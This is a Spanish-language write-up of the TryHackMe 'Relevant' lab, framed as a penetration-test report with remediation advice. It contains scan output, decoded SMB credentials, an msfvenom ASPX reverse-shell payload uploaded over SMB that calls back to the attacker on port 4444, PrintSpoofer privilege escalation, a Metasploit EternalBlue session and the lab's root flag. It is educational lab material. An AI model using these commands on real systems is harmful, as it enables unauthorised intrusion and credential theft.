Relevant, Penetration Testing Challenge [TryHackMe]

2023-09-09

Introducción

Esta máquina es un simulacro de una prueba de penetración como las que se pueden encontrar en un entorno laboral. El objetivo es obtener acceso a la máquina y escalar privilegios. Es de dificultad Media, y salvo unas instrucciones iniciales, no hay pistas. La idea de esta sala es poner en práctica los conocimientos adquiridos en otras salas, partiendo de las instrucciones de un supuesto cliente y elaborando un informe de los pasos seguidos y las conclusiones obtenidas.

Informe de Prueba de Penetración

Alcance del Trabajo

Este informe detalla los resultados de una prueba de penetración realizada en un entorno virtual con la dirección IP 10.x.x.x. El objetivo principal fue evaluar la seguridad del sistema y su resistencia a posibles amenazas cibernéticas. La evaluación se llevó a cabo desde la perspectiva de un actor malicioso en un escenario de prueba de penetración de caja negra.

El cliente ha solicitado la obtención de dos banderas como prueba de explotación:

  1. User.txt
  2. Root.txt

El alcance permitió el uso de cualquier herramienta o técnica, con una preferencia por la explotación manual. Se requirió la identificación y documentación de todas las vulnerabilidades encontradas. Solo la dirección IP asignada a la máquina del evaluador estuvo dentro del alcance. Además, se destacó que existían múltiples rutas para obtener privilegios de root.

Evaluación de Vulnerabilidades y Explotación

Vulnerabilidad 1

Descripción: Durante la fase de enumeración, se identificaron múltiples puertos abiertos en el sistema, incluyendo el puerto 80 (HTTP), el puerto 135 (MSRPC), el puerto 139 (NetBIOS-SSN), el puerto 445 (Microsoft-DS), el puerto 3389 (MS-WBT-Server) y los puertos 49663, 49666 y 49668 de estado desconocido.

Gravedad: Información inicial

Evidencia: Resultados del escaneo Nmap.

# Escaneo inicial
  sudo nmap -sS --min-rate 5000 -p- -Pn -v -oN nmap_inicial "$ip_address"

# Nmap 7.94 scan initiated Fri Sep  8 19:19:59 2023 as: nmap -sS --min-rate 5000 -p- -Pn -v -oN nmap_inicial 10.x.x.x
Nmap scan report for 10.10.44.97
Host is up (0.054s latency).
Not shown: 65527 filtered tcp ports (no-response)
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
49663/tcp open  unknown
49666/tcp open  unknown
49668/tcp open  unknown

Read data files from: /usr/bin/../share/nmap
# Nmap done at Fri Sep  8 19:20:38 2023 -- 1 IP address (1 host up) scanned in 39.48 seconds
  
# Procesar la salida del primer escaneo y extraer puertos
ports=$(cat nmap_inicial | grep '^[0-9]' | cut -d '/' -f1 | xargs | tr ' ' ',')

# Escaneo final utilizando los puertos extraídos
sudo nmap -p"$ports" -sC -sV -Pn -oN nmap_final "$ip_address"

# Nmap 7.94 scan initiated Fri Sep  8 19:21:13 2023 as: nmap -p80,135,139,445,3389,49663,49666,49668 -sC -sV -Pn -oN nmap_final 10.x.x.x
Nmap scan report for 10.x.x.x
Host is up (0.038s latency).

PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods: 
|_  Potentially risky methods: TRACE
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open   ²9ýU        Windows Server 2016 Standard Evaluation 14393 microsoft-ds
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=Relevant
| Not valid before: 2023-09-07T17:15:27
|_Not valid after:  2024-03-08T17:15:27
|_ssl-date: 2023-09-08T17:22:39+00:00; -22s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: RELEVANT
|   NetBIOS_Domain_Name: RELEVANT
|   NetBIOS_Computer_Name: RELEVANT
|   DNS_Domain_Name: Relevant
|   DNS_Computer_Name: Relevant
|   Product_Version: 10.0.14393
|_  System_Time: 2023-09-08T17:22:00+00:00
49663/tcp open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
49666/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3)
|   Computer name: Relevant
|   NetBIOS computer name: RELEVANT\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2023-09-08T10:22:04-07:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2023-09-08T17:22:00
|_  start_date: 2023-09-08T17:15:28
|_clock-skew: mean: 1h23m39s, deviation: 3h07m51s, median: -21s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

# Nmap done at Fri Sep  8 19:23:01 2023 -- 1 IP address (1 host up) scanned in 108.04 seconds

Vulnerabilidad 2

Descripción: Se enumeraron las URL disponibles en los puertos HTTP identificados y se encontraron múltiples rutas que devolvieron un código de respuesta 400, lo que indica posibles vulnerabilidades o configuraciones incorrectas.

Gravedad: Información inicial

Evidencia: Resultados del escaneo Gobuster.

# Comando utilizado para Gobuster
gobuster v3.6 -u http://<TARGET_IP>:49663 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 30

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.x.x.x:49663
[+] Method:                  GET
[+] Threads:                 30
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================

[2K/*checkout*           (Status: 400) [Size: 3420]

[2K/*docroot*            (Status: 400) [Size: 3420]

[2K/*                    (Status: 400) [Size: 3420]

[2K/http%3A%2F%2Fwww     (Status: 400) [Size: 3420]

[2K/http%3A              (Status: 400) [Size: 3420]

[2K/q%26a                (Status: 400) [Size: 3420]

[2K/**http%3a            (Status: 400) [Size: 3420]

[2K/*http%3A             (Status: 400) [Size: 3420]

[2K/**http%3A            (Status: 400) [Size: 3420]

[2K/http%3A%2F%2Fyoutube (Status: 400) [Size: 3420]

[2K/http%3A%2F%2Fblogs   (Status: 400) [Size: 3420]

[2K/http%3A%2F%2Fblog    (Status: 400) [Size: 3420]

[2K/**http%3A%2F%2Fwww   (Status: 400) [Size: 3420]

[2K/s%26p                (Status: 400) [Size: 3420]

[2K/%3FRID%3D2671        (Status: 400) [Size: 3420]

[2K/devinmoore*          (Status: 400) [Size: 3420]

[2K/200109*              (Status: 400) [Size: 3420]

[2K/*sa_                 (Status: 400) [Size: 3420]

[2K/*dc_                 (Status: 400) [Size: 3420]

[2K/http%3A%2F%2Fcommunity (Status: 400) [Size: 3420]

[2K/Clinton%20Sparks%20%26%20Diddy%20-%20Dont%20Call%20It%20A%20Comeback%28RuZtY%29 (Status: 400) [Size: 3420]

[2K/Chamillionaire%20%26%20Paul%20Wall-%20Get%20Ya%20Mind%20Correct (Status: 400) [Size: 3420]

[2K/DJ%20Haze%20%26%20The%20Game%20-%20New%20Blood%20Series%20Pt (Status: 400) [Size: 3420]

[2K/http%3A%2F%2Fradar   (Status: 400) [Size: 3420]

[2K/q%26a2               (Status: 400) [Size: 3420]

[2K/login%3f             (Status: 400) [Size: 3420]

[2K/Shakira%20Oral%20Fixation%201%20%26%202 (Status: 400) [Size: 3420]

[2K/http%3A%2F%2Fjeremiahgrossman (Status: 400) [Size: 3420]

[2K/http%3A%2F%2Fweblog  (Status: 400) [Size: 3420]

[2K/http%3A%2F%2Fswik    (Status: 400) [Size: 3420]

[2K/nt4wrksv             (Status: 301) [Size: 157] [--> http://10.x.x.x:49663/nt4wrksv/]

===============================================================
Finished
===============================================================

Vulnerabilidad 3

Descripción: Se encuentra una carpeta compartida con SMB que contiene hashes de usuarios. Se subió y ejecutó con éxito un archivo de shell ASPX en el servidor IIS a través del recurso compartido SMB “nt4wrksv”, lo que resultó en una conexión de reverse shell en el puerto 4444.

Gravedad: Alta

Evidencia: Se estableció una conexión exitosa desde el servidor de destino al sistema de atacante a través del puerto 4444.

# Identifico shares
smbclient -L <TARGET_IP>

# Acceso y encuentro Passwords.txt
[User Passwords - Encoded]
Qm9iIC0gIVBAJCRXMHJEITEyMw==
QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk

# Decodifico hashes, estan en base64
Bill - Juw4nnaM4n420696969!$$$                                                                                                                                     
Bob - !P@$$W0rD!123

# Comando utilizado para crear y subir la shell ASPX
msfvenom -p windows/x64/shell_reverse_tcp -f aspx -o shell.aspx LHOST=tun0 LPORT=4444

# Accedo y subo payload
smbclient \\\\<TARGET_IP>\nt4wrksv

put shell.aspx

Vulnerabilidad 4

Descripción: Se identificó que el sistema permite el abuso del privilegio “SeImpersonate”, lo que podría utilizarse para ejecutar comandos con privilegios de SYSTEM.

Gravedad: Alta

Evidencia: La información sobre el abuso de “SeImpersonate” se encontró durante la evaluación de privilegios utilizando el comando “whoami /priv”.

# Se compila payload, se sube y se ejecuta para obtener acceso privilegiado
.\PrintSpoofer.exe -i -c cmd

Vulnerabilidad 5

Descripción: Se encontró una bandera en el archivo “user.txt” en el directorio del usuario Bob.

Gravedad: Baja

Evidencia: La bandera se encontró en el archivo “user.txt” en el directorio del usuario Bob.

Vulnerabilidad 6

Descripción: Se explotó con éxito la vulnerabilidad EternalBlue (MS17-010) en el sistema objetivo, lo que permitió obtener acceso privilegiado al sistema como administrador.

Gravedad: Crítica

Evidencia: Se utilizó Metasploit para explotar la vulnerabilidad y se obtuvo acceso a la sesión de Meterpreter.

msf6 exploit(windows/smb/ms17_010_eternalblue) > set SMBUSER Bob
SMBUSER => Bob
msf6 exploit(windows/smb/ms17_010_eternalblue) > set SMBPASS !P@$$W0rD!123
SMBPASS => !P@$$W0rD!123
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.x.x.x.x:4444 
[*] 10.10.99.195:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.99.195:445      - Host is likely VULNERABLE to MS17-010! - Windows Server 2016 Standard Evaluation 14393 x64 (64-bit)
[*] 10.10.99.195:445      - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.99.195:445 - The target is vulnerable.
[*] 10.10.99.195:445 - Connecting to target for exploitation.
[+] 10.10.99.195:445 - Connection established for exploitation.
[+] 10.10.99.195:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.99.195:445 - CORE raw buffer dump (45 bytes)
[*] 10.10.99.195:445 - 0x00000000  57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32  Windows Server 2
[*] 10.10.99.195:445 - 0x00000010  30 31 36 20 53 74 61 6e 64 61 72 64 20 45 76 61  016 Standard Eva
[*] 10.10.99.195:445 - 0x00000020  6c 75 61 74 69 6f 6e 20 31 34 33 39 33           luation 14393   
[+] 10.10.99.195:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.99.195:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.99.195:445 - Sending all but last fragment of exploit packet
[*] 10.10.99.195:445 - Starting non-paged pool grooming
[+] 10.10.99.195:445 - Sending SMBv2 buffers
[+] 10.10.99.195:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.99.195:445 - Sending final SMBv2 buffers.
[*] 10.10.99.195:445 - Sending last fragment of exploit packet!

....

meterpreter > cd Desktop\\
meterpreter > ls
Listing: C:\Users\Administrator\Desktop
=======================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2020-07-25 16:58:09 +0200  desktop.ini
100666/rw-rw-rw-  35    fil   2020-07-25 17:25:02 +0200  root.txt

meterpreter > cat root.txt 
THM{1fk5kf469devly1gl320zafgl345pv}
meterpreter >

Sugerencias de Remediación

Vulnerabilidad 2

Mitigación:

  1. Revisar y corregir la configuración del servidor web para eliminar las rutas que devuelven códigos de respuesta 400.
  2. Implementar listas de control de acceso (ACL) para limitar el acceso a recursos no deseados.
  3. Utilizar un firewall de aplicaciones web (WAF) para detectar y bloquear solicitudes maliciosas.

Vulnerabilidad 3

Mitigación:

  1. Reforzar la seguridad del servidor SMB restringiendo el acceso a los recursos compartidos solo a usuarios autorizados.
  2. Aplicar control de acceso basado en roles (RBAC) para limitar quién puede cargar y ejecutar archivos en los recursos compartidos.
  3. Monitorizar y auditar el acceso a los recursos compartidos para detectar actividades sospechosas.

Vulnerabilidad 4

Mitigación:

  1. Evaluar y limitar los privilegios asignados a los usuarios y grupos en el sistema.
  2. Utilizar políticas de seguridad para restringir el uso de privilegios sensibles como “SeImpersonate” a usuarios y aplicaciones específicos.
  3. Implementar políticas de seguridad y auditoría para registrar y supervisar el uso de privilegios sensibles.

Vulnerabilidad 6

Mitigación:

  1. Aplicar los parches de seguridad disponibles para cerrar la vulnerabilidad MS17-010.
  2. Utilizar un sistema de detección de intrusiones (IDS) o prevención de intrusiones (IPS) para detectar y bloquear intentos de explotación de esta vulnerabilidad.
  3. Segmentar la red para limitar la propagación de malware en caso de una explotación exitosa.

Conclusiones

En esta prueba de penetración se identificaron múltiples vulnerabilidades, incluyendo la explotación exitosa de la vulnerabilidad EternalBlue (MS17-010) para obtener acceso privilegiado. Estos hallazgos destacan la importancia de mantener sistemas actualizados y configurados de manera segura.

Recomendaciones Finales

Se recomienda lo siguiente para mejorar la seguridad del sistema:

  1. Aplicar los parches y actualizaciones de seguridad necesarios para cerrar las vulnerabilidades conocidas, incluyendo MS17-010.
  2. Utilizar un sistema de detección de intrusiones (IDS) o prevención de intrusiones (IPS) para detectar y bloquear intentos de explotación de vulnerabilidades.
  3. Segmentar la red para limitar la propagación de malware en caso de una explotación exitosa.
  4. Realizar evaluaciones de seguridad periódicas y pruebas de penetración para identificar y remediar posibles riesgos.
  5. Seguir las mejores prácticas de seguridad de la industria, como la configuración segura de servicios y la gestión adecuada de privilegios.

(◕‿‿◕) Hack the planet!